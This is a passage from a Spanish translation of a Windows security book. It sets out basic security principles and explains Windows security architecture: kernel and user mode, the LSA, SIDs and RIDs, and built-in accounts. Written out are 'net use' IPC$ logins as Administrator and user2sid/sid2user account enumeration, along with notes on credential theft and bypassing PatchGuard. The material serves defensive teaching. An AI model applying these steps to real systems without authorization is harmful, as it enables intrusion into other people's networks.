Entre otros procesos que caen dentro de la esfera de la Detección se incluyen los siguientes:
• Rastreo automatizado de vulnerabilidades

• Administración de eventos e información de seguridad (AEIS)
• Sistemas de detección de intrusiones (SDI)
• Sistemas de detección de anomalías (SDA)
• Auditorías de seguridad (incluida la prueba de penetración)
Éste no es un libro sobre el arte de la detección de intrusiones o el análisis forense, pero se

hacen varias recomendaciones para los parámetros de configuración de Windows en todo el
libro, que permitirán imponer un fuerte régimen de controles de detective. No olvide revisar de
manera oportuna los registros que conserva (de otra manera, no hay por qué mantenerlos).
Respuesta
Al dar otra vuelta a la rueda de la seguridad, llegamos a la Respuesta. Suponiendo que en la fase
de Detección se identifica una vulnerabilidad de seguridad (o una violación real, ¿por qué no?),
el siguiente paso consiste en analizar y actuar (¡posiblemente muy rápido!) Entre algunos de
los elementos clave de la parte de Respuesta del ciclo de vida de la seguridad se incluyen los si-
guientes:
• Respuesta al incidente (RI)

• Remedio
• Resolución de auditoría
• Recuperación
Trataremos de manera detallada el remedio, la resolución y la recuperación de la vulnerabi-

lidad, en el curso de la descripción de cómo evitar a los hackers. Sin embargo, no dedicaremos
mucho tiempo a analizar qué hacer en el caso de que sea víctima de un ataque exitoso, que es la
disciplina de la respuesta a incidentes (RI) de seguridad. La RI describe muchos procedimien-
tos críticos que deben seguirse de inmediato después de que ocurre un incidente de seguridad
para contener el daño y estos procedimientos deben establecerse de antemano. En este libro tam-
poco se cubre la planeación de la continuidad en el negocio ni la recuperación de desastres
(PCN/RD). Hemos elaborado una lista de algunas de las referencia recomendadas sobre esos
temas en la sección “Referencias y lecturas adicionales”, al final de este capítulo.
Pulimento y repetición
Antes de que cerremos el breve análisis del marco conceptual de Plan, Prevención, Detección y
Respuesta, destacaremos de nuevo la naturaleza cíclica del modelo. Es necesario practicar
y cotejar un análisis regular de la información reunida durante la fase de Detección y a partir
del análisis post mortem de las actividades de Respuesta y luego debe alimentarse de nuevo
el aprendizaje relevante a la siguiente vuelta del ciclo de vida de la seguridad, empezando
con el Plan. Cualquier organización que no aprende de la historia está condenada a repetirla y,
por tanto, es más importante invertir en este aspecto del ciclo de vida de la seguridad. También
01_SCAMBRAY_01.indd 9 7/28/08 7:16:18 PM

0 Hackers en Windows
es una estupenda idea hacer que participen accionistas clave del negocio en este proceso,
porque es probable que las iniciativas estratégicas del negocio tengan un gran impacto sobre
el lugar donde deben hacerse inversiones en la seguridad de la información en el próximo pre-
supuesto.
En el resto de este capítulo, delinearemos algunos principios básicos de seguridad en los que
se basará su directiva o que habrán de considerarse mientras recorre el resto de este libro.
PRINCIPIOS BÁSICOS DE SEGURIDAD

Hemos reunido los siguientes principios durante nuestros años combinados de asesoría en eva-
luación de la seguridad para todas las variedades de redes, sistemas y tecnologías. No afirma-
mos que hemos originado alguna de ellas; se han derivado de nuestra observación y análisis de
la seguridad en grandes organizaciones, además de afirmaciones de otras personas que hemos
reunido a lo largo de los años. Algunos de esos principios se superponen con recomendaciones
específicas que hacemos en este libro, pero otros no. En realidad, tal vez violemos algunos de
esos principios en ocasiones para ejemplificar las consecuencias de un mal comportamiento (¡en
cuanto a lo que decimos, no lo que hacemos!). Recuerde que la seguridad no es una solución pu-
ramente técnica, sino más bien una combinación de medidas y procesos técnicos que están he-
chos a la medida, de manera única, para su entorno. En su boletín en línea, el experto en seguri-
dad Bruce Schneier tal vez estableció esto de manera más elocuente: “¡La seguridad es un pro-
ceso, no un producto!”.
Haga que todos sean responsables de la seguridad

Enfrentémoslo: el número de expertos en seguridad en el mundo no va a crecer para cubrir todas
las actividades que se presentan a diario. Distribuya la responsabilidad de la seguridad entre la
organización, para que sea manejable. Nos encanta la siguiente cita que tomamos prestada del
grupo de seguridad de una firma grande dedicada a la biotecnología: “Las personas son el sis-
tema final de detección de intrusiones”.
Bloquee o deshabilite todo lo que no está permitido

de manera explícita
Repetiremos este mantra de vez en cuando en este libro. Con algunas excepciones muy oscuras,
no existen métodos conocidos para atacar remotamente un sistema sin servicios en ejecución.
Por tanto, si bloquea los accesos o deshabilita los servicios externos, no lo podrán atacar.
Esto resulta de poco consuelo para los servicios permitidos, por supuesto (por ejemplo, los
servicios de aplicaciones como Internet Information Service (IIS), que son necesarios para ejecu-
tar una aplicación Web). Si debe permitir el acceso a un servicio, asegúrese de que lo ha hecho de
acuerdo con las mejores prácticas.
Debido a que casi siempre son únicas, las propias aplicaciones deben asegurarse con un
buen diseño a la antigua y la implementación de las mejores prácticas, como el marco conceptual
de ciclo de vida de desarrollo de la seguridad (SDL, Security Development Lifecycle) de Micro-
soft. (Consulte “Referencias y lecturas adicionales”).
01_SCAMBRAY_01.indd 10 7/28/08 7:16:18 PM

Establezca siempre una contraseña, hágala razonablemente

compleja y cámbiela con frecuencia
Las contraseñas son la maldición del mundo de la seguridad; son la forma principal de auten-
tificación para casi todos los productos en existencia, Windows incluido. Las contraseñas débi-
les son la manera principal en que anulemos a las redes de Windows en las reuniones de prueba
de penetración profesional. Siempre debe establecer una contraseña (nunca se debe dejar en blan-
co) y debe asegurarse de que no sea fácil adivinarla. (Consulte el capítulo 5 para conocer
algunos consejos específicos para Windows). Use una autentificación multifactorial, si es posi-
ble. (Por ejemplo, las versiones modernas de Windows son muy fáciles de integrar con tarjetas
inteligentes).
Actualice religiosamente los parches del comercializador

Cualquiera que haya trabajado en el desarrollo de software sabe que suceden accidentes. Sin
embargo, cuando se descubre un error en un producto de Microsoft, la prisa por ganar fama y
popularidad por lo general da como resultado una explotación publicada en unas cuantas horas.
Eso significa que se ha reducido continuamente la ventana de tiempo para aplicar parches de
Microsoft antes de que alguien venga a tocar a la puerta tratando de explotar el hueco. Como se
verá a partir de la severidad de algunos de los problemas descritos en este libro, el precio de no
estar actualizado con los parches es el compromiso completo y absoluto del sistema remoto.
Autorice todos los accesos utilizando a la menor

cantidad de privilegios
Este concepto es uno de los menos utilizados por nuestra clientela de asesoría, pero es el que ex-
plotamos para tener el mayor efecto en sus redes. La autorización (que se presenta después de la
autentificación, o inicio de sesión), es el último mecanismo importante que protege los recursos
confidenciales del acceso por parte de usuarios con menos privilegios. Adivinar una contraseña
débil ya es muy malo, pero las cosas empeoran cuando descubrimos que la cuenta de usuario
inferior que acaba de verse comprometida puede montar un elemento compartido que contiene
datos financieros corporativos confidenciales. Sí, se requiere una gran cantidad de trabajo para
inventariar todos los recursos en el entorno de la tecnología de la información y asignar el con-
trol de acceso apropiado, pero si no lo hace, sólo será tan fuerte como lo sea el vínculo de auten-
tificación insatisfactoria (y volvemos al usuario con la contraseña equivocada).
La moderna arquitectura de autorización de Windows (posterior a los 16 bits) no es su mejor
amigo en este departamento. Se centra principalmente alrededor de las listas de control de acce-
so (ACL, Access Control Lists) aplicadas entre millones de objetos individuales dentro del siste-
ma operativo (desde archivos, hasta claves de registro, o estructuras programáticas como canales
con nombres), la intersección de red de la cual hasta el propio Microsoft tiene una mala com-
prensión (o así parece en ocasiones). Analizaremos las configuraciones tácticas importantes de
las ACL en todo el libro, pero advertimos por anticipado que la creación de una directiva de au-
torización completa, heterogénea, distribuida que use Windows hoy en día puede ser desalenta-
dora. Mantenga un diseño simple y apéguese a los principios preservados por el tiempo (como
el control de acceso basados en roles, o RBAC: Role-Based Access Control).
01_SCAMBRAY_01.indd 11 7/28/08 7:16:19 PM

Hackers en Windows
Limite la confianza
Ningún sistema es una isla, sobre todo con Windows. Uno de los ataques más efectivos que usa-
mos contra las redes de Windows es la explotación de la computadora de un miembro de domi-
nio poco importante, con una contraseña de administrador local débil. Luego, al usar las técni-
cas analizadas en el capítulo 6, extraemos las credenciales de un usuario de dominio válidas de
esta computadora, que permite poner un pie en toda la infraestructura de dominio y posible-
mente los dominios que confían en el actual. Reconozca que toda relación de dominio que se
establezca, ya sea una confianza de dominio formal de Windows o simplemente una contraseña
almacenada en un archivo de procesamiento por lotes en una computadora remota, expande la
periferia de la seguridad y aumenta sus riesgos.
Un corolario a esta regla es que debe prohibirse explícitamente el reciclaje de contrase-
ñas. Son innumerables el número de veces que hemos derribado un solo sistema de Windows,
crackeado las contraseñas de un puñado de cuentas y descubierto que estas credenciales nos
permitían acceder a todos los demás sistemas de la red (conmutadores de sistema telefónico, ser-
vidores de bases de datos de UNIX, terminales de mainframes, aplicaciones Web, lo que usted
prefiera).
Sea particularmente paranoico con las interfaces externas

El número total de posibles vulnerabilidades en una red puede parecer abrumador, pero debe
aprender a concentrarse en las que presentan el mayor riesgo. A menudo están relacionadas con
sistemas que enfrentan redes públicas, como servidores Web, etcétera. Los sistemas de fachada
(como los llamaremos) deben mantenerse en un estándar más elevado de responsabilidad que
los sistemas internos, porque los riesgos que enfrentan son mayores. Recuerde que la red telefó-
nica de conmutación pública también es una interfaz de fachada.
Practique la defensa a profundidad

La seguridad general no debe depender de un solo mecanismo de defensa. Si se permite un pe-
rímetro de seguridad externo, debe disponerse de capas subyacentes para resistir el ataque. El
corolario a ese principio es la compartimentalización (si un compartimiento está comprometido,
debe ser igualmente difícil para un intruso obtener acceso a cada compartimiento posterior).
Caída en estado seguro

Cuando la confidencialidad, integridad, disponibilidad o responsabilidad de un sistema se ve
comprometida, el sistema debe caer a un estado seguro (es decir, debe volverse no funcional).
Practique la defensa mediante la simplicidad

Un sistema simple se asegura más fácilmente que uno complejo, porque simplicidad significa
una oportunidad reducida de errores o fallas. Un corolario a este principio es el concepto de fun-
ción dedicada o modularidad: los sistemas o componentes de sistemas deben tener un solo propó-
sito para evitar conflictos posibles de redundancias que podrían dar como resultado exposicio-
nes de seguridad. Prepárese para defender este principio contra los posibles costos de manteni-
miento de los sistemas de un solo propósito. (Una discusión clásica que hemos tenido durante
años es si resulta prudente instalar Windows IIS y SQL Server en la misma máquina; dejaremos
a usted como un ejercicio la resolución de este análisis).
01_SCAMBRAY_01.indd 12 7/28/08 7:16:19 PM

No hay una solución perfecta; la administración

de riesgos es la clave
No deje que la paranoia perturbe sus objetivos de negocio (y viceversa). Muchas de las recomen-
daciones específicas que hacemos en este libro son muy restrictivas. Esa es nuestra naturaleza
(hemos visto el daño que directivas menos restrictivas puede hacer). Sin embargo, éstas no pa-
san de ser recomendaciones. Reconocemos las realidades técnicas y directivas que enfrentará
en el intento de implementar estas recomendaciones. El objetivo de este libro es armarlo con la
información correcta con el fin de que elabore un caso persuasivo para la postura más restricti-
va, sabiendo que tal vez no gane todas las discusiones. Elija sus batallas y gane las que sean im-
portantes.
Dése cuenta de que la tecnología no lo protegerá

de los ataques sociales
Este libro está orientado principalmente a los ataques relacionados con la tecnología: explotacio-
nes de software que requieren una computadora y habilidades prácticas para implementarse.
Sin embargo, algunos de los ataques más dañinos que hemos visto y de los que hemos oído no
incluyen la tecnología en absoluto. La llamad ingeniería social usa el engaño y la mala interpre-
tación entre una persona y otra para obtener acceso no autorizado a los datos. La información de
este libro sólo puede protegerle en el nivel de los bits y los bytes; no lo protegerá de los ataques
sociales que no se relacionan en absoluto con éstos. Aprenda y descubra las prácticas comunes
de la ingeniería social, como el phishing o suplantación de identidad y eduque a su organización
utilizando buenas prácticas de comunicación y capacitación.
Aprenda sus plataformas y aplicaciones mejor que el enemigo

Este libro está diseñado para comunicar una perspectiva holística de la seguridad en Windows,
no sólo para presentar una lista de verificación a manera de guión para los parámetros de confi-
guración que harán que quede a prueba de balas. Esperamos que al final del libro tenga un ma-
yor aprecio de la arquitectura de seguridad de Windows, dónde se rompe y las mejores prácticas
para mitigar el riesgo cuando lo hace. También deseamos que estas prácticas resulten oportunas
y le preparen para cualquier cosa que esté pendiente en la siguiente versión de Windows, ade-
más de la comunidad de los hackers.
RESUMEN
Al seguir las mejores prácticas delineadas en este capítulo habrá establecido los fundamentos
sólidos para la seguridad en el sistema de información de su organización. En el resto de este
libro, pasaremos a las partes específicas de Windows y los desafíos únicos que presenta para
quienes desean mantenerlos seguros.
01_SCAMBRAY_01.indd 13 7/28/08 7:16:19 PM

Hackers en Windows
REFERENCIAS Y LECTURAS ADICIONALES

Referencia Ubicación
Bugtraq www.securityfocus.com
Evaluación de las amenazas, los www.cert.org/octave/
activos y las vulnerabilidades
operacionalmente críticos (OCTAVE)
Recursos de modelado de amenazas http://msdn2.microsoft.com/en-us/security/aa570411.aspx
de Microsoft
Árboles de ataques www.schneier.com/paper-attacktrees-ddj-ft.html
Security Development Lifecycle (SDL) www.microsoft.com/mspress/books/8753.aspx
Sistema de clasificación DREAD de http://msdn2.microsoft.com/en-gb/library/aa302419.aspx
Microsoft
Common Vulnerability Scoring www.first.org/cvss
System (CVSS)
Foro de la comunidad de ISO 17799 www.17799.com/
ISO 27001 http://en.wikipedia.org/wiki/ISO_27001
Control Objetives for Information and www.itgi.org/
related Technology (CobiT)
The Committee of Sponsoring www.coso.org/
Organizations of the Treadway
Commission (COSO)
The IT Infrastructure Library (ITIL) www.best-management-practice.com/IT-Service-Management-
ITIL/
“Understanding Regulatory www.microsoft.com/technet/technetmag/issues/2006/09/
Compliance” en Microsoft TechNet BusinessofIT/default.aspx
Payment Card Industry Data Security www.pcisecuritystandards.org/
Standard (PCI DSS)
Information Security Policies Made Easy, www.informationshield.com/ispmemain.htm
por Charles Cresson Woods
RFC 2196 y 2504, Site Security www.rfc-editor.org
Handbook and User Handbook
Incident Response & Computer Por Kevin Mandia, Chris Prosise y Matt Pepe. McGraw-Hill/
Forensics, 2a ed. Osborne (2003)
“Computer Security: Will We Ever www.schneier.com/crypto-gram-0005.html
Learn?”, por Bruce Schneier (15 de mayo
de 2000)
01_SCAMBRAY_01.indd 14 7/28/08 7:16:20 PM

capítulo 2
c t u r a
q u i t e
La a r a d
g u r i d
de s e s
i n d o w
de w
d e L a
des va
s p e c t i
pe r r
h a c k e
de L
15
02_SCAMBRAY_02_AJUSTADO.indd 15 7/28/08 8:38:53 PM

A
ntes de que nos crackeen (perdón por el juego de palabras) en Windows, es importante
que comprenda al menos parte de la arquitectura de seguridad básica del producto.
Este capítulo está diseñado para establecer esa base. Está destinado sobre todo a quie-
nes no se encuentren íntimamente familiarizados con parte de la funcionalidad de seguridad
básica de Windows, de modo que se advierte a los viejos profesionales que omitan este análisis
y pasen directo a lo sustancial del capítulo 3.
No se pretende que sea un análisis exhaustivo, profundo de la arquitectura de seguridad de
Windows. Varias buenas referencias para este tema pueden encontrarse en la sección “Referen-
cias y lecturas adicionales” que se ubica al final del capítulo. Además, recomendamos encareci-
damente que lea el capítulo 12 para conocer un análisis detallado de las características específicas
de seguridad en Windows, que pueden usarse para contrarrestar muchos de los ataques anali-
zados en todo el libro.
Nuestro enfoque en este capítulo consiste en dar la información suficiente para permitirle
comprender el objetivo principal de los atacantes de Windows:
Ejecutar comandos en el contexto más privilegiado, para obtener acceso a recursos y datos.
Empecemos por introducir algunos de los conceptos fundamentales necesarios para desen-
trañar esta afirmación.
Nota A menos que se especifique de otra manera, todas las referencias a Windows en este capítulo aludirán
a la familia de sistemas operativos de Windows NT, incluidos Windows Server 2008, Vista, Server 2003,
XP, 2000 y NT.
INTRODUCCIÓN
Es difícil describir algo tan complejo como Windows en unos cuantos párrafos y ni siquiera tra-
taremos de hacerlo. En cambio, vamos a proporcionar una descripción muy simplificada de la
arquitectura de seguridad de Windows, prestando mucha atención a puntos que han recibido
ataques en el pasado.
Tal vez la observación inicial más obvia sobre la arquitectura de Windows es que es de dos
capas. La capa más privilegiada de código de sistema operativo se ejecuta en un denominado
modo de kernel y tiene, en efecto, acceso irrestricto a los recursos del sistema. La funcionalidad
en modo de usuario tiene un acceso mucho más restringido y debe solicitar servicios del kernel en
muchos casos para completar ciertas tareas, como ingresar recursos de hardware, autentifica-
ción de usuarios y modificación del sistema.
Con base en esta simple separación, podemos contemplar dos metodologías básicas de ata-
que: ataque al kernel y ataque al modo de usuario. Estos métodos básicos se ejemplifican en la
figura 2-1, que muestra a un hacker malicioso ingresando el kernel mediante la interfaz física
dispositivo/medio, y también atacando un contexto de seguridad de modo de usuario al com-
prometer las credenciales de un usuario válido del sistema. (Tome en cuenta que el atacante tam-
bién puede comprometer luego el kernel si hackea un contexto de usuario administrativo).
Exploremos ambos métodos de manera más detallada.

Capítulo 2: La arquitectura de seguridad de Windows desde la perspectiva del hacker 17
Figura 2-1 Ataque a la seguridad de Windows empleando los métodos de kernel y de modo de
usuario
Ataque al Kernel
La interfaz en modo de kernel es un límite obviamente atractivo que históricamente los atacan-
tes han buscado cruzar. Si alguien puede insertar código de su elección en el modo de kernel, el
sistema quedará comprometido por completo (como verá en los capítulos 6 y 8). Como podría
imaginar, Windows proporciona barreras importantes a la ejecución de código arbitrario en el
modo de kernel, y por lo general es muy difícil hacerlo para entidades de bajos privilegios.
Por supuesto, siempre hay excepciones. Pueden ocurrir dos clases principales de compromi-
sos del modo de kernel.
• Ataques físicos contra controladores de dispositivos residentes en el kernel que analizan

sintácticamente la entrada sin modificar, como a partir de conexiones de red o medios
insertados. Los ataques a redes inalámbricas publicados por Johnny Cache y otros
y el incidente del rootkit del CD-ROM de Sony son ejemplos de cada uno de éstos,
respectivamente (consulte “Referencias y lecturas adicionales”).

• Ataques lógicos contra estructuras críticas del sistema operativo que proporcionan
acceso al modo de kernel. Estas estructuras incluyen ciertas imágenes protegidas del
kernel (como ntoskrnl.exe, hal.dll y ndis.sys), la tabla descriptora global (GDT,
Global Descriptor Table) y la tabla descriptora de interrupciones (IDT, Interrupt
Descriptor Table), la tabla descriptora de servicios del sistema (SSDT, System
Service Descriptor Table), ciertos registros específicos del modelo o procesador (MSR,
Model Specific Registers) y algunas rutinas internas que el kernel usa para depuración.
A partir de las versiones de 64 bits de Vista, Microsoft implementó un sistema de protección llamado
Nota PatchGuard para tratar de proteger cada uno de esos puntos de entrada lógicos al kernel. Consulte la
sección “Referencias y lecturas adicionales” de este capítulo a fin de conocer los métodos publicados para
omitir el PatchGuard. Microsoft también implementó firma obligatoria de controladores del kernel y
prevención de ejecución de datos (DEP, Data Execution Prevention) del hardware en versiones de 64 bits.
Los ataques contra el kernel suelen requerir gran sofisticación y no son comunes. Por su-
puesto, una vez que se concibe e implementa un ataque, las explotaciones preempaquetadas es-
critas por atacantes sofisticados y distribuidas ampliamente en Internet pueden elevar de
manera importante la prevalencia de esos ataques. Otro factor mitigante es que la variedad “ló-
gica” de los ataques al kernel suelen requerir privilegios de usuario sustanciales en el sistema.
Los que nos trae a nuestra segunda metodología de ataque y a la que dedicaremos la mayor par-
te en este libro.
Ataque del modo de usuario

Como se ilustró en la figura 2-1, atacar el kernel es equivalente a atacar las paredes del castillo
de Windows. Casi todos los ataques contra el sistema operativo han tomado históricamente una
ruta más obvia y en potencia más fácil, a través de las puertas y ventanas.
El código de modo de usuario sirve efectivamente como la puerta y la ventana para recursos
y datos del sistema. Como es obvio, este código debe tener la capacidad de acceder recursos y
datos, o el sistema operativo ofrecería una muy mala experiencia de usuario. Por tanto, si puede
autentificarse en Windows como un usuario autorizado, tendrá acceso a todos los recursos y da-
tos relevantes para ese usuario. Más aún, si tiene la suficiente suerte de autentificarse como un
usuario administrativo, probablemente tendrá acceso a los recursos y datos para todos los usua-
rios del sistema. El portero de control de acceso para los datos y recursos del modo de usuario
es la autoridad de seguridad local (LSA, Local Security Authority), un subsistema protegido que
funciona entre el modo de usuario y de kernel para autentificar usuarios, autorizar acceso a re-
cursos, imponer una directiva de seguridad y administrar sucesos de auditoría de seguridad.
La LSA se implementa en un proceso llamado el servicio del subsistema de autoridad de seguridad

Nota local, o Isass.exe.
Suponiendo que se ha evitado el compromiso a través del kernel, el subsistema LSA es la

principal gateway de seguridad en Windows. En el resto del capítulo nos concentraremos en
la manera en que valida el acceso a objetos, revisa privilegios de usuario y genera mensajes de
auditoría. A menos que se indique de otra manera, en todo el análisis se supondrán escenarios
del modo de usuario.

REVISIÓN GENERAL DEL CONTROL DE ACCESO

El subsistema de seguridad es el portero principal a través del cual los sujetos accedan a los obje-
tos dentro del sistema operativo Windows. Aquí usamos el término sujetos de manera genérica
para describir cualquier entidad que realiza alguna acción y los objetos son los destinatarios de
esa acción. En Windows, los sujetos son procesos (relacionados con fichas de acceso) y los objetos
son objetos asegurables (relacionados con los descriptores de seguridad).
Los procesos son las abejas trabajadoras de la computación. Realizan todos el trabajo útil
(junto con las construcciones de subprocesos llamadas, precisamente, subprocesos). Los objetos
asegurables son las cosas sobre las que se actúa. Dentro de Windows hay muchos tipos de obje-
tos asegurables: archivos, directorios, canales con nombre, servicios, claves del registro, impre-
soras, elementos compartidos de red, etcétera.
Cuando un usuario inicia una sesión en Windows (es decir, cuando se autentifica), el sistema ope-
rativo crea una ficha de acceso que contiene identificadores de seguridad (SID, Security ID) correlacio-
nados con la cuenta del usuario y cualquier cuenta de grupo a la que pertenece el usuario. La ficha
también contiene una lista de los privilegios conservados por el usuario o los grupos de usuarios.
Hablaremos con más detalle acerca de los SID y los privilegios en páginas posteriores de este capítu-
lo. La ficha de acceso está relacionada con cada proceso creado por el usuario en el sistema.
Cuando se crea un objeto asegurable, se asigna un descriptor de seguridad que contiene una
lista de control de acceso discrecional (DACL, Discretionary Access Control List, en ocasiones gene-
ralizada como ACL) que identifica cuáles SID de usuario y grupo pueden acceder al objeto y
cómo (lectura, escritura, ejecución, etcétera).
Para realizar el control de acceso, el subsistema de seguridad de Windows simplemente
compara los SID en la ficha del sujeto con el SID en el ACL del objeto. Si se encuentra una coin-
cidencia, se permite el acceso; de otra manera, se niega.
En el resto de este capítulo se echará un vistazo más detallado a los sujetos, porque son la úni-
ca manera de acceder a los objetos (una vez más, control ausente del modo de kernel). Para conocer
información adicional de los objetos asegurables, consulte “Referencias y lecturas adicionales”.
DIRECTIVAS DE SEGURIDAD
Como se indicó antes, el sujeto fundamental dentro de Windows es el proceso. También se dijo
que los procesos deben estar asociados con una cuenta de usuario con el fin de acceder a los ob-
jetos asegurables. En esta sección se explorarán los diversos tipos de cuentas en Windows, por-
que son la base para casi todos los ataques contra el control de acceso.
Windows ofrece tres tipos de cuentas fundamentales, llamados directivas de seguridad:
• Usuarios
• Grupos
• Equipos
Analizaremos en breve cada uno de ellos con mayor detalle, después de tomar un breve des-
vío para analizar los SID.
Con el advenimiento de los SID específicos del servicio en Vista (consulte “Endurecimiento del servicio”
Nota
en el capítulo 12), se diría que los servicios también podrían considerarse directivas, aunque Microsoft
no ha cambiado formalmente su terminología.

SID
En Windows, las directivas de seguridad suelen tener nombres amigables, como Administrador
o Administradores de dominio. Sin embargo, la familia NT manipula estos objetos de manera
interna utilizando un número globalmente único de 48 bits llamado identificador de seguridad o
SID. Esto evita que el sistema confunda la cuenta local de Administrador del equipo A con la
cuenta local de Administrador con el mismo nombre del equipo B, por ejemplo.
El SID incluye varias partes. Echemos un vistazo a un SID simple:
S-1-5-21-1527495281-1310999511-3141325392-500
Un SID tiene el prefijo S y sus diversos componentes están separados con guiones. El primer
valor (en este ejemplo 1) es el número de revisión, y el segundo es el valor de identificador de
autoridad. Luego cuatro valores de subautoridad (21 y las tres cadenas largas de números, en este
ejemplo) y un identificador relativo (RID, Relative Identifier, que en este ejemplo es 500) integran
el resto del SID.
Al parecer, los SID son complicados, pero el concepto importante que debe comprender es
que una parte del SID es única para la instalación o el dominio y la otra parte se comparte entre
todas las instalaciones y los dominios (el RID). Cuando Windows se instala, el equipo local ge-
nera un SID aleatorio. De igual manera, cuando se crea un dominio de Windows, se le asigna un
SID único (en páginas posteriores de este capítulo definiremos dominio). Por tanto, para cual-
quier equipo o dominio de Windows, los valores de subautoridad siempre serán únicos (a
menos que lo modifique o lo duplique a propósito, como en el caso de algunas técnicas de du-
plicación de disco de bajo nivel).
Sin embargo, el RID es un valor consistente entre todos los equipos o dominios. Por ejemplo,
un SID con RID 500 es siempre la verdadera cuenta de Administrador en un equipo local. RID
501 es la cuenta de Invitado. En un dominio, los RID que empiezan con 1001 indican cuentas de
usuario. (Por ejemplo, RID 1015 sería la decimoquinta cuenta de usuario creada en el dominio.)
Baste con decir que el cambio de un nombre amigable de una cuenta no hace nada a su SID, de
modo que la cuenta puede identificarse siempre, sin importar cuál sea. Al cambiar el nombre de
la cuenta verdadera de Administrador cambia sólo el nombre amigable; la cuenta siempre es
identificada por Windows (o un hacker malicioso con herramientas apropiadas) como la cuenta
con RID 500.
¿Por qué no puede iniciar en todos lados una sesión

como administrador?
Como ya resulta obvio, la cuenta de Administrador en un equipo es diferente de la cuenta Admi-
nistrador de otro, porque tienen diferentes SID, y Windows puede distinguirlos, aunque las per-
sonas no puedan. Esta característica puede causar dolores de cabeza al hacker no informado.
En ocasiones, en este libro encontraremos situaciones donde el inicio de sesión como Admi-
nistrador falla. He aquí un ejemplo:
C:\>net use \\192.168.234.44\ipc$ contraseña /u:Administrator

Error de sistema 1326.
Error de inicio de sesión: nombre de usuario desconocido o contraseña incorrecta.

Un hacker podría verse tentado a alejarse en este punto, sin recordar que Windows automá-
ticamente pasa las credenciales del usuario que inició la sesión actual durante los intentos he-
chos en red. Por tanto, si el usuario hubiera iniciado sesión actualmente como Administrador en
el cliente, éste se interpretaría como un intento de iniciar sesión en el sistema remoto empleando
la cuenta de Administrador local del cliente. Por supuesto, esta cuenta no tiene contexto en el
servidor remoto. Puede especificar manualmente el contexto de inicio de sesión usando el mis-
mo comando net use con el dominio remoto, el nombre del equipo o la dirección de IP unida
al nombre de usuario con una diagonal invertida, como ésta:
C:\>net use \\192.168.234.44\ipc$ contraseña /u:dominio\Administrator

El comando se completó con éxito.
Obviamente, debe incluir al principio el nombre del equipo remoto o la dirección IP, si el sis-
tema al que está conectándose no es un miembro de dominio. Recordar este pequeño truco será
útil cuando analicemos las shell remotas en el capítulo 7; la técnica que usamos para desmenuzar
estas shells remotas a menudo da como resultado que una shell se ejecute en el contexto de la
cuenta SYSTEM. Los servidores remotos no pueden interpretar la ejecución de los comandos
net use dentro del contexto LocalSystem, de modo que casi siempre tiene que especificar el
dominio o nombre de equipo, como se muestra en el ejemplo anterior.
Revisión de SID con user2sid/sid2user

Puede usar la herramienta user2sid de Evgenii Rudnyi para extraer SID. He aquí user2sid ejecu-
tado contra el equipo local:
C:\>user2sid \\caesars Administrator
S-1-5-21-1507001333-1204550764-1011284298-500
Number of subauthorities is 5
Domain is CORP
Lenght of SID in memory is 28 bytes
Type of SID is SidTypeUser
La herramienta sid2user realiza la operación inversa, extrayendo un nombre de usuario al

dar un SID. He aquí un ejemplo de uso del SID extraído en el ejemplo anterior:
C:\>sid2user \\caesars 5 21 1507001333 1204550764 1011284298-500
Name is Administrator
Domain is CORP
Observe que el SID debe ingresarse a partir del número identificador de autoridad (que
siempre es 5 en el caso de Windows Server 2003) y que se usan espacios para separar componen-
tes, en lugar de guiones.

Nota Como analizaremos en el capítulo 4, esta información puede extraerse en una sesión no autentificada a
partir de un sistema Windows que ejecute servicios SMB en ciertas configuraciones heredadas.
Usuarios
Cualquier persona que esté más o menos familiarizado con Windows ha encontrado el concepto
de cuentas de usuario. Usamos cuentas para iniciar sesión en el sistema y para acceder a recur-
sos en el sistema y la red. Sin embargo, pocos hemos considerado lo que realmente representa
una cuenta, que es una de las fallas de seguridad más comunes en casi todas las redes.
De manera muy simple, una cuenta es un contexto de referencia en que el sistema operativo
ejecuta código. Puesto de otra manera, todo el código del modo de usuario se ejecuta en el contexto de
una cuenta de usuario. Aun parte del código que se ejecuta automáticamente antes de que cual-
quier persona inicie sesión (como los servicios) se ejecuta en el contexto de una cuenta (a menu-
do como la cuenta especial y todopoderosa SYSTEM o LocalSystem).
Todos los comandos invocados por el usuario que se autentifica con éxito utilizando las
credenciales de cuenta se ejecutan con los privilegios de ese usuario. Por tanto, las acciones reali-
zadas para la ejecución del código están limitadas sólo por los privilegios otorgados a la cuenta
que lo ejecuta. El objetivo del hacker malicioso es ejecutar código con los privilegios más elevados.
Por tanto, el hacker debe “convertirse” en la cuenta con los privilegios más elevados posibles.
Los usuarios (personas con presencia física) son distintos de las cuentas de usuario (manifestaciones
Nota
digitales que pueden usurparse fácilmente si se tiene conocimiento de las credenciales apropiadas).
Aunque en este libro podemos borrar un poco esta distinción, sin intención de nuestra parte, debe tener
esto presente.
Cuentas integradas
Windows incluye en el paquete cuentas integradas que reciben privilegios predefinidos. Estas
cuentas predeterminadas incluyen la cuenta local de Administrador, que es la cuenta de usuario
de Windows con más poder. (En realidad, la cuenta SYSTEM es desde el punto de vista técnico
la más privilegiada, pero Administrador puede ejecutar comandos como SYSTEM muy fácil-
mente usando el servicio de calendario para lanzar una shell de comandos, por ejemplo). En la
tabla 2-1 se presenta una lista de las cuentas integradas predeterminadas en varias versiones de
Windows.
Tome en cuenta unas cuantas advertencias relacionadas con la tabla 2-1:
• En controladores de dominio, algunos directivos de seguridad no son visibles en la

interfaz predeterminada Usuarios y equipos de Active Directory, a menos que elija Ver
Características avanzadas.
• Versiones de Windows, entre las que se incluyen XP y posteriores, “ocultan” la cuenta
local de Administrador como opción predeterminada, pero aún está allí.
• Algunas de las cuentas de la tabla 2-1 no se crean a menos que se hayan configurado
papeles específicos de servidor; por ejemplo, Application Server (IIS).
• El grupo Invitados, las cuentas de usuario Invitado y Support_388945a0 son SID
asignados de manera única que corresponden al dominio en que residen.

Nombre de la cuenta Comentario

SYSTEM or Todopoderosa en el equipo local, por lo general no es visible en
LocalSystem las herramientas de interfaz de usuario común; SID S-1-5-18
Administrador En esencia, todopoderosa en el equipo local; puede cambiársele
el nombre y no puede eliminarse
Guest Privilegios limitados; deshabilitada como opción
predeterminada
SUPPORT_388945a0 Nueva en Windows XP y Server 2003, puede usarse para
proporcionar soporte remoto mediante el Centro de ayuda y
soporte técnico
IUSR_machinename Si está instalado IIS, se usa para acceso anónimo a IIS; miembro
(abbreviated IUSR) del grupo Invitados
IWAM_machinename Si IIS está instalado, las aplicaciones de IIS se ejecutan como
(abbreviated IWAM) esta cuenta; miembro del grupo IIS_WPG
